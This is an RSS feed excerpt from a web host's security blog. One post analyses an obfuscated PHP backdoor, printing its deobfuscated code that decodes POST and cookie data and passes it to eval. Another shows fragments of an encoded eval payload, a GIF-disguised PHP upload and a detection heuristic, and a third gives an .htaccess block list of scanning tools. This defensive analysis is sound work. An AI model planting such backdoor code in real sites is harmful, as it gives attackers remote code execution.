$b5e6d8f3 = @$GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][38].$GLOBALS[&#39;v5fd1710b&#39;][33].$GLOBALS[&#39;v5fd1710b&#39;][71].$GLOBALS[&#39;v5fd1710b&#39;][89]]($GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][36].$GLOBALS[&#39;v5fd1710b&#39;][69].$GLOBALS[&#39;v5fd1710b&#39;][1].$GLOBALS[&#39;v5fd1710b&#39;][1].$GLOBALS[&#39;v5fd1710b&#39;][69].$GLOBALS[&#39;v5fd1710b&#39;][10].$GLOBALS[&#39;v5fd1710b&#39;][65]](@$GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][61].$GLOBALS[&#39;v5fd1710b&#39;][3].$GLOBALS[&#39;v5fd1710b&#39;][84].$GLOBALS[&#39;v5fd1710b&#39;][79].$GLOBALS[&#39;v5fd1710b&#39;][1]]($b5e6d8f3), $n820));^M
if (isset($b5e6d8f3[$GLOBALS[&#39;v5fd1710b&#39;][79].$GLOBALS[&#39;v5fd1710b&#39;][17]]) &amp;&amp; $t6342e1==$b5e6d8f3[$GLOBALS[&#39;v5fd1710b&#39;][79].$GLOBALS[&#39;v5fd1710b&#39;][17]])^M
{
    if ($b5e6d8f3[$GLOBALS[&#39;v5fd1710b&#39;][79]] == $GLOBALS[&#39;v5fd1710b&#39;][25])
    {
        $l360 = Array(
            $GLOBALS[&#39;v5fd1710b&#39;][51].$GLOBALS[&#39;v5fd1710b&#39;][34] =&gt; @$GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][7].$GLOBALS[&#39;v5fd1710b&#39;][60].$GLOBALS[&#39;v5fd1710b&#39;][0].$GLOBALS[&#39;v5fd1710b&#39;][67]](),^M
            $GLOBALS[&#39;v5fd1710b&#39;][35].$GLOBALS[&#39;v5fd1710b&#39;][34] =&gt; $GLOBALS[&#39;v5fd1710b&#39;][69].$GLOBALS[&#39;v5fd1710b&#39;][85].$GLOBALS[&#39;v5fd1710b&#39;][1].$GLOBALS[&#39;v5fd1710b&#39;][14].$GLOBALS[&#39;v5fd1710b&#39;][69],^M
        );
        echo @$GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][79].$GLOBALS[&#39;v5fd1710b&#39;][18].$GLOBALS[&#39;v5fd1710b&#39;][71].$GLOBALS[&#39;v5fd1710b&#39;][10].$GLOBALS[&#39;v5fd1710b&#39;][89]]($l360);^M
    }
    elseif ($b5e6d8f3[$GLOBALS[&#39;v5fd1710b&#39;][79]] == $GLOBALS[&#39;v5fd1710b&#39;][67])
    {
        eval($b5e6d8f3[$GLOBALS[&#39;v5fd1710b&#39;][40]]);
    }
}
</pre>
<p>Once all the globals are&nbsp;substituted, we get::</p>
<pre class="prettyprint lang-php " data-pbcklang="php" data-pbcktabsize="4">
if (!$param1)
{
    foreach ( $_POST as $param2=&gt;$pf64a09f)
    {
        $param1 = $pf64a09f;
        $n_0 = $param2;
    }
}
$param1 = unserialize( base64_decode($param1), $n_0);

print_r($param1);

if( isset($param1[&#39;ak&#39;]) &amp;&amp; $v1==$param1[&#39;ak&#39;])
{
    if ($param1[&#39;a&#39;] == &#39;i&#39;)
    {
        $l3b = Array(
            &#39;pv&#39; =&gt; phpversion(),
            &#39;sv&#39; =&gt; &#39;10-1&#39;,
        );
        echo serialize($l3b);
    }
    elseif ($param1[&#39;a&#39;] == &#39;e&#39;)
    {
#        eval($param1[&#39;d&#39;]);
print_r($param1);
    }
</pre>
<p>I&#39;ve added the print_r() statements to help decode&nbsp;variable names and see what is set and&nbsp;as a safe guard the &quot;eval()&quot; call is&nbsp;disabled.</p>
<p>The final analysis shows that the program&#39;s data is collected from Cookies and POST data, &nbsp;manipulated into a base64 format and then executed using the PHP&nbsp;eval() function. As we don&#39;t have the Cookie data or POST data further analysis is not possible. But the script allows code to be downloaded and&nbsp;executed so that makes it an open tool to be used at will. The trigger for us was excessive email traffic and in most cases these exploits are used to send spam mail.</p>
<h2>Where to from here?</h2>
<p>The fact the files came down means the clients themes and plugins need updating. A manual scan of the directories showed no other files but the coding style will enable a tool similar to the earlier exploit from two months ago to be used to find this type of code. A full cleanup of the site&#39;s files and manual checking shows no other exploits.</p>
<p>&nbsp;</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Byte encoding exploits in PHP files</title>
		<link>https://testing.conetix.com.au/blog/byte-encoding-exploits-php-files/</link>
		
		<dc:creator><![CDATA[Sid Young]]></dc:creator>
		<pubDate>Thu, 09 Apr 2015 04:08:00 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[ph]]></category>
		<category><![CDATA[php]]></category>
		<guid isPermaLink="false">https://conetix.com.au/byte-encoding-exploits-php-files/</guid>

					<description><![CDATA[Despite better coding practices, testing and peer review of code, the number of exploit attempts and the technical complexity of attacks continues to increase against web sites. With the rise in exploit attempts comes a rise in the requirements of malware and anti-virus scanners on the web server to detect and isolate the infected files....  <a class="excerpt-read-more" href="https://testing.conetix.com.au/blog/byte-encoding-exploits-php-files/" title="Read Byte encoding exploits in PHP files">Read more &#187;</a>]]></description>
										<content:encoded><![CDATA[<p>Despite better coding practices, testing and peer review of code, the number of exploit attempts and the technical complexity of attacks continues to increase against web sites. With the rise in exploit attempts comes a rise in the requirements of malware and anti-virus scanners on the web server to detect and isolate the infected files.</p>
<p>Malware detection has been a serious business for decades and does not look like ending any time soon so IT professionals are constantly kept busy trying to detect and remove exploit attempts.</p>
<p>Recently one of the WordPress web sites we host was exploited via a vulnerable plug-in. The exploit was designed to constantly send SPAM emails, so it attached back to a server and then received a list of email address to send specially formatted SPAM messages. The initial scan of the code base did not pick up the Malware as the PHP code was encoded in a previously unseen encoding method but a visual look at the file showed it used an excessive number of byte-escaped characters.</p>
<p>Many scanners are looking for base64 encoding, this file snippet below shows what a typical base64 encoded PHP file might contain:</p>
<pre class="prettyprint lang-php " data-pbcklang="php" data-pbcktabsize="4">
&lt;?php eval(gzuncompress(base64_decode
(&#39;eNpku+eyxEySnncrjNFGcEaYIUzDajVUwHvvISom4LrhvSd178K3RhSpH0DDFMpkZWW+Dw5O/
f1zva7l9ud/+ofIe//nf6yHad/+4//1l7/8139K4b//Sai7P/3zP+Xv0f9S/HGA/P1PX+xP/
1x///yhSOR/77d/LolQ/Bkj0b9+PtTnL39JlyW9/7GUR7ms5Z/fJ//yPjV24/
L39/g//Ke3hn/+M4LAxN/+2AEwhH7+9sfuL//HttT9H+X/+k9Fjvzlf/v3mmEMR/
/6R9m3nmz9+5/KVX/7cZ7l+lvqddz36rr+jkLI55//qUj//qd0+NM/n1XdlX/
+wPjf3u0v656t2/L2aOrS/O3RW/tf35reZtK3yqL8pnu3/SPNt3oc/
v6O+e1jtr67Iv23ihCURP/2x+4v01L+/rFOXf1a6394el/Lf6RNev19W/byn/
+MkjD0tz927/hg8m9/7P7yf+T70v3jNfQ4va39YaQ//6td/vq2+d+Hi+IE8tc/
Hv2j9vzvfwrroRjP9W9/+uc/Ezj8t3cDPjBF/O2P3b/V2b89qP9RD9

</pre>
<p>The byte encoded file however looks something like this:</p>
<pre class="prettyprint lang-php " data-pbcklang="php" data-pbcktabsize="4">
&lt;?php ${&quot;x47x4cOx42Ax4cx53&quot;}[&quot;cgwx71x77x77x64x79q&quot;]=&quot;x69p&quot;;
${&quot;x47Lx4fx42Ax4cS&quot;}[&quot;x66x75x72x71x6box6cx76tx6cx67&quot;]=&quot;fx75nx63&quot;;
${&quot;x47Lx4fx42x41x4cx53&quot;}[&quot;x72x65x6ex61x71g&quot;]=&quot;x68&quot;;
?${&quot;x47x4cOBx41x4cx53&quot;}[&quot;x64x68x71x77x64x72ggx69x65x76&quot;]
=&quot;x68ex61x64ex72x73&quot;;
...
...
${$oufqnojxji}=$_SERVER[&quot;REMOx54x45_x41Dx44R&quot;];}if(strpos(${${&quot;x47x4cx4fx42
x41x4cx53&quot;}[&quot;x63gx77qwx77x64x79x71&quot;]},&quot;,&quot;)!==FALSE){$ipidsrhwxtb=&quot;x69x70&quot;
;$xsnigv?=&quot;x69px73&quot;;${&quot;x47x4cx4fBAx4cS&quot;}[&quot;x76x6fxx78x73x62x62x65x62
x63&quot;]=&quot;ix70x73&quot;;${${&quot;x47x4cx4fx42ALx53&quot;}[&quot;vx6fxxx73x62bex62x63&quot;]}
=explode(&quot;,&quot;,${${&quot;x47x4cx4fBx41x4cx53&quot;}[&quot;x63x67wx71wwx64x79x71&quot;]});
${$ipidsrhwxtb}=trim(array_pop(${$xsnigv}));}return${${&quot;x47x4cOx42x41x4cx53&quot;}
[&quot;x63x67x77qx77wx64x79x71&quot;]};}


</pre>
<p>Dissecting the first few lines of the code we can see traces of PHP command strings but randomly dispersed:</p>
<pre class="prettyprint lang-php " data-pbcklang="php" data-pbcktabsize="4">
&lt;?php
${&quot;x47x4cOx42Ax4cx53&quot;}[&quot;cgwx71x77x77x64x79q&quot;]=&quot;x69p&quot;;
${&quot;x47Lx4fx42Ax4cS&quot;}[&quot;x66x75x72x71x6box6cx76tx6cx67&quot;]=&quot;fx75nx63&quot;;
${&quot;x47Lx4fx42x41x4cx53&quot;}[&quot;x72x65x6ex61x71g&quot;]=&quot;x68&quot;;
</pre>
<p>After some simple&nbsp;character conversions (x41=A, x42=B etc) we get:</p>
<pre class="prettyprint lang-html " data-pbcklang="html" data-pbcktabsize="4">
&lt;?php
${&quot;GLOBALS&quot;}[&quot;cgwx71x77x77x64x79q&quot;]=&quot;x69p&quot;;
${&quot;GLOBALS&quot;}[&quot;x66x75x72x71x6box6cx76tx6cx67&quot;]=&quot;fx75nx63&quot;;
${&quot;GLOBALS&quot;}[&quot;x72x65x6ex61x71g&quot;]=&quot;x68&quot;;
${&quot;GLOBALS&quot;}[&quot;x64x68x71x77x64x72ggx69x65x76&quot;]=&quot;x68ex61x64ex72x73&quot;;
${&quot;GLOBALS&quot;}[&quot;dx77x76x74ex69r&quot;]=&quot;x72x65x73&quot;;
</pre>
<p>Dissecting the lower case characters strings reveals:</p>
<pre class="prettyprint lang-html " data-pbcklang="html" data-pbcktabsize="4" style="line-height: 20.7999992370605px;">
&lt;?php
${&quot;GLOBALS&quot;}[&quot;cgwqwwdyq&quot;]=&quot;i&quot;;
${&quot;GLOBALS&quot;}[&quot;furqkolvtlg&quot;]=&quot;func&quot;;
${&quot;GLOBALS&quot;}[&quot;reneaqg&quot;]=&quot;h&quot;;
${&quot;GLOBALS&quot;}[&quot;dhqwdrggiev&quot;]=&quot;headers&quot;;
${&quot;GLOBALS&quot;}[&quot;dwvteir&quot;]=&quot;res&quot;;</pre>
<p>Clearly we can see how the code is manipulated into random variable names but the keywords themselves are also manipulated with some parts byte encoded and other characters left un-encoded so that pattern matching is difficult at best.</p>
<p>There is however a simple solution, the mere fact that is has used a byte encoding method is not normal practice, you will be hard pressed to find this style of programming in any normal program with the exception of encryption code which uses a lot of hex encoded tables. So the frequency of xNN character strings is far above normal.</p>
<p>A word count of each file results in an interesting &ldquo;xNN&rdquo; % calculation, using the first infected file, we get the following:</p>
<pre class="prettyprint lang-html " data-pbcklang="html" data-pbcktabsize="4">
#cat suspect-file.php| wc -c
24348
</pre>
<p>Counting up the x&#39;s we get:</p>
<pre class="prettyprint lang-html " data-pbcklang="html" data-pbcktabsize="4">
#cat suspect-file.php| tr -dc &#39;\x&#39;| wc -c
7568
#cat suspect-file.php| tr -dc &#39;\x&#39;| tr -dc &#39;x&#39; | wc -c
3803
</pre>
<p>Converting that to a percentage gives (3803/24348)*100 = 15.62% rounded</p>
<p>At 15% the presence of xNN values is far to high for a normal PHP program (excluding encryption code files), a quick check of PHP files on the web server yields an average of less than 2% of byte encoded data per file, most files having below 1% and cache small files where found to have as high as 5% due to the additional encoded data the cache app was using, so we can exclude these.</p>
<p>Detecting this type of exploit attempt is now a simple matter of determining the percentage of encoded bytes per normal program code and flagging the file for more exploration later.</p>
<p>A simple script to scan all changed files in the web server document root and then run it to check for files changed in the last 7 days should provide an adequate method till the next round of exploits develop.</p>
<p>&nbsp;</p>
<h2>How did the exploit get there?</h2>
<p>A check of the /tmp directory by the Malware scanner&nbsp;found this file:</p>
<pre class="prettyprint lang-html " data-pbcklang="html" data-pbcktabsize="4">
# cat /tmp/phpt2oYQG
?GIF89a u
&lt;?php  ?&gt;
#</pre>
<p>A simple upload of a bogus &ldquo;GIF&rdquo; file with PHP code inside is the first step, if the attacker can activate the code then they can activate the uploaded exploit and they are in business.</p>
<p>Multiple scanning attempts will pickup both exploits and attempted exploits, we schedule these to occur on all servers everyday,&nbsp;this allows us to tighten our system security on a daily basis.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Directory Traversal Attacks &#8211; Beware DirBuster</title>
		<link>https://testing.conetix.com.au/blog/directory-traversal-attacks-beware-dirbuster/</link>
		
		<dc:creator><![CDATA[Sid Young]]></dc:creator>
		<pubDate>Tue, 24 Mar 2015 01:42:00 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[dirbuster]]></category>
		<category><![CDATA[directory attack]]></category>
		<category><![CDATA[security]]></category>
		<guid isPermaLink="false">https://conetix.com.au/directory-traversal-attacks-beware-dirbuster/</guid>

					<description><![CDATA[A What? A directory traversal attack is a type of brute force attack by which a hacker uses to get both an understanding of your web site structure and potential access to files which have not been protected from public access. Why? It can also be used to steal all the content from a web...  <a class="excerpt-read-more" href="https://testing.conetix.com.au/blog/directory-traversal-attacks-beware-dirbuster/" title="Read Directory Traversal Attacks &#8211; Beware DirBuster">Read more &#187;</a>]]></description>
										<content:encoded><![CDATA[<h2>A What?</h2>
<p>A directory traversal attack is a type of brute force attack by which a hacker uses to get both an understanding of your web site structure and potential access to files which have not been protected from public access.</p>
<h2>Why?</h2>
<p>It can also be used to steal <strong>all</strong> the content from a web site by both analysing files called from web pages as well as those detected during the scan. Its not uncommon for unskilled users to place files on a server for easy access by&nbsp;others (friends, business colleagues etc) then forget about them, this then provides public access to unscrupulous people who&nbsp;might find the file(s) useful.</p>
<p>The other risk is that previously known exploitable code might be left on the server, especially if default installation files are left intact on the server with default user account and password details.</p>
<h2>How is it done and What is the risk?</h2>
<p>A hacker might scan a range of IP addresses to locate web servers that do not yet have a domain name associated with them, they will also use Google to find sites that have content they are interested in and then mine the site for potential data files.&nbsp;One&nbsp;common tool used is &quot;DirBuster&quot;,&nbsp;it has a very extensive&nbsp;dictionary of keywords that it scans for, the tool uses forged headers to mask its appearance and then it systematically navigates the whole web site. &nbsp;If the tool crafts URL&#39;s that are invalid the web server will return status codes to indicate the type of error, the tool interprets these returned status code to make its mining effort more efficient.</p>
<h2>Returned HTTP Status Codes</h2>
<p>HTTP status codes are returned by the web server in response to URL requests. If a legitimate user&nbsp;stores a URL&#39;s in their browser history that is no longer valid or moved, the web server will return a&nbsp;numeric code response indicating&nbsp;whether the web&nbsp;site content exists or not&nbsp;and whether we may have typed the URL improperly.</p>
<p>If the content is present and valid then the web server will return a&nbsp;status code of 200, because that indicates that everything went properly, the attacker now knows the URL path is valid and can rapidly interrogate the path for additional files and directories.</p>
<p>Here is a summary of the most important HTTP status codes that web&nbsp;browsers use&nbsp;and tools like&nbsp;DirBuster utilize&nbsp;to find directories and files in web&nbsp;sites.</p>
<ul>
<li><strong>100 Continue</strong>&nbsp;&#8211; Codes in the 100 range indicate that, for some reason, the client request has not been completed and the client should continue.</li>
<li><strong>200 Successful</strong>&nbsp;&#8211; Codes in the 200 range generally mean the request was successful.</li>
<li><strong>300 Multiple Choices</strong>&nbsp;&#8211; Codes in the 300 range can mean many things, but generally they mean that the request was not completed.</li>
<li><strong>400 Bad Request</strong>&nbsp;&#8211; The codes in the 400 range generally signal a bad request. The most common is the 404 (not found) and 403 (forbidden).</li>
</ul>
<p>One down side to this attack is the load on the site increases causing delays and disruptions to legitimate traffic.&nbsp;The other is a sudden increase in logging of the web server activity and this does have the potential to exhaust disk space on the web server. The other downside is the wasted bandwith&nbsp;which you the client are paying for in your hosting plan.</p>
<h2>Prevention</h2>
<p>The most effective way to prevent this attack is to implement an intrusion detection system that recognises the success/fail traffic pattern and either blocks/drops or rate limits the client IP. Most attackers are lazy and don&#39;t alter the headers the tools use, so these can be identified and blocking at the web server level can also be implemented.</p>
<p>A sample .htaccess file that blocks common tools is shown below (Thanks to thehackerspot.com for crafting this configuration file):</p>
<pre class="prettyprint lang-html " data-pbcklang="html" data-pbcktabsize="4">
RewriteEngine On 
&lt;IfModule mod_rewrite.c&gt; R
ewriteCond %{HTTP_USER_AGENT} ^w3af.sourceforge.net [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} dirbuster [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} nikto [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} SF [OR] 
RewriteCond %{HTTP_USER_AGENT} sqlmap [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} fimap [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} nessus [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} whatweb [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} Openvas [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} jbrofuzz [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} libwhisker [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} webshag [NC,OR] 
RewriteCond %{HTTP:Acunetix-Product} ^WVS 
RewriteRule ^.* https://127.0.0.1/ [R=301,L] 
&lt;/IfModule&gt;</pre>
<p>Ultimately, the best way to reduce the access and damage to a web site is to:</p>
<ul>
<li>Implement authentication mechanism like&nbsp;CAPTCHA&nbsp;forms to reduce the&nbsp;effectiveness&nbsp;of automated tools.</li>
<li>Secure all content not meant for public access.</li>
<li>Keep access control lists up to date (.htaccess for example). For a comprehensive list see&nbsp;<a href="https://perishablepress.com/ultimate-htaccess-blacklist/">https://perishablepress.com/ultimate-htaccess-blacklist/</a></li>
<li>Rebuild a clean image of your site regularly.</li>
<li>Have automated cleanup tools remove old log files.</li>
<li>Automatically remove&nbsp;empty directories and temporary files used in the running of your web site.</li>
<li>Have automated reporting tools so you can see the status of your running site.</li>
<li>For commercial web sites, using a tool like <a href="https://saltstack.com/">SaltStack</a> to build and deploy your site means that you should be able to build a new image of your site at any time.</li>
<li>Build a new clean OS image that&#39;s fully patched and up to&nbsp;date&nbsp;with the minimal software installed to reduce other potential attacks.</li>
<li>Consider Country (GeoIP) blocking, if your market is a particular country then limit traffic to your site to that country.</li>
</ul>
<p>For the&nbsp;more advanced user/administrator, having&nbsp;the ability to run the web site from RAM disk will both speed it up and in the event of an attack&nbsp;a reboot puts a clean image up for fast access with no/minimal&nbsp;disk IO, this reduces the impact on your server or cloud infrastructure when these tools are used against you.</p>
<h2>How dangerous are&nbsp;these tools?</h2>
<p>The tool &quot;DirBuster&quot; itself is not dangerous, it leaves&nbsp;the door open to other exploits. As these tools evolve, the risks will change.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
